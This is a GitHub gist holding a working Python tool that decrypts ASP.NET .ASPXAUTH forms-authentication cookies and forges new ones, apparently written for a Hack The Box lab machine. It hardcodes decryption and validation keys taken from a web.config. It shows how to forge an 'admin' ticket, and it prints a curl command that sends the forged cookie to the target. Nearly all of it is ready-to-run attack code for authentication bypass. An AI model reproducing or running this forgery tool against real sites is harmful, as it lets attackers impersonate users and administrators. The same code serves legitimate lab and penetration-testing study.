Instantly share code, notes, and snippets.
Created
October 19, 2025 16:52
-
Star
0
(0)
You must be signed in to star a gist -
Fork
0
(0)
You must be signed in to fork a gist
-
-
Save sofianeelhor/e62c457580c5dfa26a9fb22db43ecc67 to your computer and use it in GitHub Desktop.
Decrypts and parses .ASPXAUTH forms cookies, and forges new ones using machineKey from web.config. Supports "All" protection mode (AES-256-CBC encrypt + HMACSHA256 sign + binary serialization).
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| """ | |
| # Decrypt original cookie | |
| python ticket_tool.py decrypt 0612BC595BE85DA14751A4494CDACC202C5D62E2F601C2B3096053B941D32B2141A53D7F4AE73004F48EB62FDD68CAEBE0E930D54935C1D23368347BE090DB64ACFFF63C108EE44B8B83D8C5045CF27F4DD48C3D7E54A05DBE1F8D914E7D283E54AAAE1323C92ACFEDBE21EF749A3119A02856A21309148EF3C33E6B2215C2DDC735A21E5B6BEFCC3846812BB7FCD3F8A424567F78A432D2299388F0979EC799 | |
| # Forge admin ticket | |
| python formaspcookie.py forge admin --user-data "Admin" --persistent --expiry-min 1440 | |
| """ | |
| import argparse | |
| import binascii | |
| import hmac | |
| import hashlib | |
| import struct | |
| import sys | |
| from datetime import datetime, timedelta | |
| from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes | |
| from cryptography.hazmat.primitives import padding | |
| from cryptography.hazmat.backends import default_backend | |
| import os | |
| # Default keys from web.config | |
| DEFAULT_DEC_KEY_HEX = "B26C371EA0A71FA5C3C9AB53A343E9B962CD947CD3EB5861EDAE4CCC6B019581" | |
| DEFAULT_VAL_KEY_HEX = "EBF9076B4E3026BE6E3AD58FB72FF9FAD5F7134B42AC73822C5F3EE159F20214B73A80016F9DDB56BD194C268870845F7A60B39DEF96B553A022F1BA56A18B80" | |
| HEADER_SIZE = 32 # Purpose (20B) + salt (12B) | |
| SIG_SIZE = 32 # HMACSHA256 | |
| IV = b'\x00' * 16 | |
| PURPOSE = b'FormsAuthentication\x00\x00\x00' # Fixed for FormsAuth | |
| def ticks_to_datetime(ticks): | |
| """Convert .NET ticks (100ns since 0001-01-01) to datetime.""" | |
| epoch = datetime(1, 1, 1) | |
| return epoch + timedelta(microseconds=ticks // 10) | |
| def datetime_to_ticks(dt): | |
| """Convert datetime (UTC) to .NET ticks.""" | |
| epoch = datetime(1, 1, 1) | |
| delta = dt - epoch | |
| return int(delta.total_seconds() * 10000000) | |
| def read_7bit_string(data, pos): | |
| """Read 7-bit encoded length + UTF-16LE string.""" | |
| if pos >= len(data): | |
| return None, pos | |
| length = 0 | |
| shift = 0 | |
| while True: | |
| if pos >= len(data): | |
| return None, pos | |
| b = data[pos] | |
| pos += 1 | |
| length |= (b & 0x7F) << shift | |
| if (b & 0x80) == 0: | |
| break | |
| shift += 7 | |
| str_len = length * 2 | |
| if pos + str_len > len(data): | |
| return None, pos | |
| str_bytes = data[pos:pos + str_len] | |
| s = ''.join(chr(b1 + (b2 << 8)) for b1, b2 in zip(str_bytes[0::2], str_bytes[1::2])) | |
| pos += str_len | |
| return s, pos | |
| def write_7bit_string(s): | |
| """Write UTF-16LE string with 7-bit encoded length.""" | |
| utf16_bytes = s.encode('utf-16le') | |
| length = len(utf16_bytes) // 2 | |
| encoded_len = bytearray() | |
| temp = length | |
| while True: | |
| encoded_len.insert(0, temp & 0x7F) | |
| if temp & 0x7F == temp: | |
| break | |
| encoded_len[0] |= 0x80 | |
| temp >>= 7 | |
| return bytes(encoded_len) + utf16_bytes | |
| def decrypt_ticket(encrypted_hex, dec_key_hex, val_key_hex, verbose=False): | |
| """Decrypt and parse the ticket.""" | |
| try: | |
| cookie_bytes = binascii.unhexlify(encrypted_hex) | |
| dec_key = binascii.unhexlify(dec_key_hex) | |
| val_key = binascii.unhexlify(val_key_hex) | |
| if len(cookie_bytes) < SIG_SIZE: | |
| raise ValueError("Ticket too short for signature.") | |
| payload = cookie_bytes[:-SIG_SIZE] | |
| signature = cookie_bytes[-SIG_SIZE:] | |
| # Validate HMAC | |
| h = hmac.new(val_key, payload, hashlib.sha256) | |
| if h.digest() != signature: | |
| raise ValueError("Invalid signature!") | |
| if verbose: | |
| print("Signature valid.") | |
| # Decrypt AES-256-CBC | |
| cipher = Cipher(algorithms.AES(dec_key), modes.CBC(IV), backend=default_backend()) | |
| decryptor = cipher.decryptor() | |
| decrypted_padded = decryptor.update(payload) + decryptor.finalize() | |
| # Unpad PKCS7 | |
| unpadder = padding.PKCS7(128).unpadder() | |
| decrypted = unpadder.update(decrypted_padded) + unpadder.finalize() | |
| if verbose: | |
| print(f"Raw decrypted (hex): {binascii.hexlify(decrypted).decode()}") | |
| # Skip header | |
| if len(decrypted) < HEADER_SIZE: | |
| raise ValueError("Decrypted data too short for header.") | |
| data = decrypted[HEADER_SIZE:] | |
| # Parse binary | |
| pos = 0 | |
| if pos >= len(data) or data[pos] != 1: | |
| raise ValueError("Invalid format version (expected 0x01).") | |
| pos += 1 | |
| ticket_version = data[pos] | |
| pos += 1 | |
| if pos + 8 > len(data): | |
| raise ValueError("Truncated: issue ticks.") | |
| issue_ticks = struct.unpack('<Q', data[pos:pos+8])[0] | |
| pos += 8 | |
| if pos >= len(data) or data[pos] != 0xFE: | |
| raise ValueError("Invalid spacer (expected 0xFE).") | |
| pos += 1 | |
| if pos + 8 > len(data): | |
| raise ValueError("Truncated: expiration ticks.") | |
| expiration_ticks = struct.unpack('<Q', data[pos:pos+8])[0] | |
| pos += 8 | |
| if pos >= len(data): | |
| raise ValueError("Truncated: persistent flag.") | |
| is_persistent = bool(data[pos]) | |
| pos += 1 | |
| name, pos = read_7bit_string(data, pos) | |
| if name is None: | |
| raise ValueError("Failed to parse name.") | |
| user_data, pos = read_7bit_string(data, pos) | |
| if user_data is None: | |
| raise ValueError("Failed to parse user data.") | |
| cookie_path, pos = read_7bit_string(data, pos) | |
| if cookie_path is None: | |
| raise ValueError("Failed to parse cookie path.") | |
| if pos >= len(data) or data[pos] != 0xFF: | |
| raise ValueError("Invalid footer (expected 0xFF).") | |
| pos += 1 | |
| if pos < len(data): | |
| if verbose: | |
| print(f"Trailing bytes (hex): {binascii.hexlify(data[pos:]).decode()}") | |
| # Convert ticks | |
| issue_date = ticks_to_datetime(issue_ticks) | |
| expiration_date = ticks_to_datetime(expiration_ticks) | |
| ticket = { | |
| 'version': ticket_version, | |
| 'name': name, | |
| 'issue_date': issue_date, | |
| 'expiration_date': expiration_date, | |
| 'is_persistent': is_persistent, | |
| 'user_data': user_data, | |
| 'cookie_path': cookie_path | |
| } | |
| if verbose: | |
| print("\n--- Parsed Ticket ---") | |
| for k, v in ticket.items(): | |
| print(f"{k}: {v}") | |
| print("--- End Ticket ---") | |
| return ticket | |
| except Exception as e: | |
| print(f"Decryption failed: {e}") | |
| return None | |
| def forge_ticket(username, user_data="Web Users", is_persistent=False, expiry_minutes=10, dec_key_hex=DEFAULT_DEC_KEY_HEX, val_key_hex=DEFAULT_VAL_KEY_HEX, fixed_header_hex=None, verbose=False): | |
| """Forge a new ticket.""" | |
| dec_key = binascii.unhexlify(dec_key_hex) | |
| val_key = binascii.unhexlify(val_key_hex) | |
| # Timestamps | |
| now = datetime.utcnow() | |
| issue_ticks = datetime_to_ticks(now) | |
| exp_delta = timedelta(minutes=expiry_minutes) | |
| expiration_ticks = datetime_to_ticks(now + exp_delta) | |
| cookie_path = "/" | |
| # Serialize | |
| serialized = bytearray() | |
| serialized.append(1) # Format version | |
| serialized.append(1) # Ticket version | |
| serialized += struct.pack('<Q', issue_ticks) | |
| serialized.append(0xFE) # Spacer | |
| serialized += struct.pack('<Q', expiration_ticks) | |
| serialized.append(1 if is_persistent else 0) | |
| serialized += write_7bit_string(username) | |
| serialized += write_7bit_string(user_data) | |
| serialized += write_7bit_string(cookie_path) | |
| serialized.append(0xFF) # Footer | |
| # Header | |
| if fixed_header_hex: | |
| header = binascii.unhexlify(fixed_header_hex) | |
| if len(header) != HEADER_SIZE: | |
| raise ValueError(f"Fixed header must be {HEADER_SIZE} bytes ({HEADER_SIZE*2} hex chars).") | |
| else: | |
| salt = os.urandom(12) | |
| header = PURPOSE + salt | |
| full_serialized = header + bytes(serialized) | |
| if verbose: | |
| print(f"Header (hex): {binascii.hexlify(header).decode()}") | |
| print(f"Serialized payload (hex): {binascii.hexlify(bytes(serialized)).decode()}") | |
| # Pad | |
| padder = padding.PKCS7(128).padder() | |
| padded = padder.update(full_serialized) + padder.finalize() | |
| # Encrypt | |
| cipher = Cipher(algorithms.AES(dec_key), modes.CBC(IV), backend=default_backend()) | |
| encryptor = cipher.encryptor() | |
| encrypted = encryptor.update(padded) + encryptor.finalize() | |
| # Sign | |
| h = hmac.new(val_key, encrypted, hashlib.sha256) | |
| signature = h.digest() | |
| # Combine | |
| ticket_bytes = encrypted + signature | |
| ticket_hex = binascii.hexlify(ticket_bytes).decode().upper() | |
| if verbose: | |
| print(f"\nVerification: Decrypting forged ticket...") | |
| forged_ticket = decrypt_ticket(ticket_hex, dec_key_hex, val_key_hex, verbose=False) | |
| if forged_ticket: | |
| print("Forge verified! Parsed back:", forged_ticket['name'], forged_ticket['user_data']) | |
| else: | |
| print("Forge verification failed!") | |
| return ticket_hex | |
| def main(): | |
| parser = argparse.ArgumentParser(description="ASP.NET Forms Auth Ticket Tool") | |
| subparsers = parser.add_subparsers(dest='command', required=True) | |
| # Decrypt parser | |
| decrypt_parser = subparsers.add_parser('decrypt', help='Decrypt and parse a ticket') | |
| decrypt_parser.add_argument('encrypted_hex', help='Hex-encoded .ASPXAUTH cookie') | |
| decrypt_parser.add_argument('--keys', nargs=2, metavar=('DEC_KEY_HEX', 'VAL_KEY_HEX'), help='Override default keys') | |
| decrypt_parser.add_argument('--verbose', action='store_true', help='Verbose output') | |
| # Forge parser | |
| forge_parser = subparsers.add_parser('forge', help='Forge a new ticket') | |
| forge_parser.add_argument('username', help='Username for the ticket') | |
| forge_parser.add_argument('--user-data', default='Web Users', help='User data/roles (default: Web Users)') | |
| forge_parser.add_argument('--persistent', action='store_true', help='Make ticket persistent') | |
| forge_parser.add_argument('--expiry-min', type=int, default=10, help='Expiry in minutes (default: 10)') | |
| forge_parser.add_argument('--keys', nargs=2, metavar=('DEC_KEY_HEX', 'VAL_KEY_HEX'), help='Override default keys') | |
| forge_parser.add_argument('--fixed-header', help=f'Fixed 32-byte header hex (for replay; default: random salt)') | |
| forge_parser.add_argument('--verbose', action='store_true', help='Verbose output') | |
| args = parser.parse_args() | |
| dec_key_hex = args.keys[0] if args.keys else DEFAULT_DEC_KEY_HEX | |
| val_key_hex = args.keys[1] if args.keys else DEFAULT_VAL_KEY_HEX | |
| if args.command == 'decrypt': | |
| ticket = decrypt_ticket(args.encrypted_hex, dec_key_hex, val_key_hex, args.verbose) | |
| if ticket: | |
| print("\nTicket fields:") | |
| for k, v in ticket.items(): | |
| print(f"{k}: {v}") | |
| elif args.command == 'forge': | |
| if args.fixed_header: | |
| fixed_header_hex = args.fixed_header | |
| else: | |
| fixed_header_hex = None | |
| ticket_hex = forge_ticket( | |
| args.username, args.user_data, args.persistent, args.expiry_min, | |
| dec_key_hex, val_key_hex, fixed_header_hex, args.verbose | |
| ) | |
| print(f"\nForged .ASPXAUTH (hex): {ticket_hex}") | |
| print(f"Cookie header: Cookie: .ASPXAUTH={ticket_hex}") | |
| print("\nUsage example (curl):") | |
| print(f"curl -H 'Cookie: .ASPXAUTH={ticket_hex}' https://hercules.htb/") | |
| if __name__ == '__main__': | |
| main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment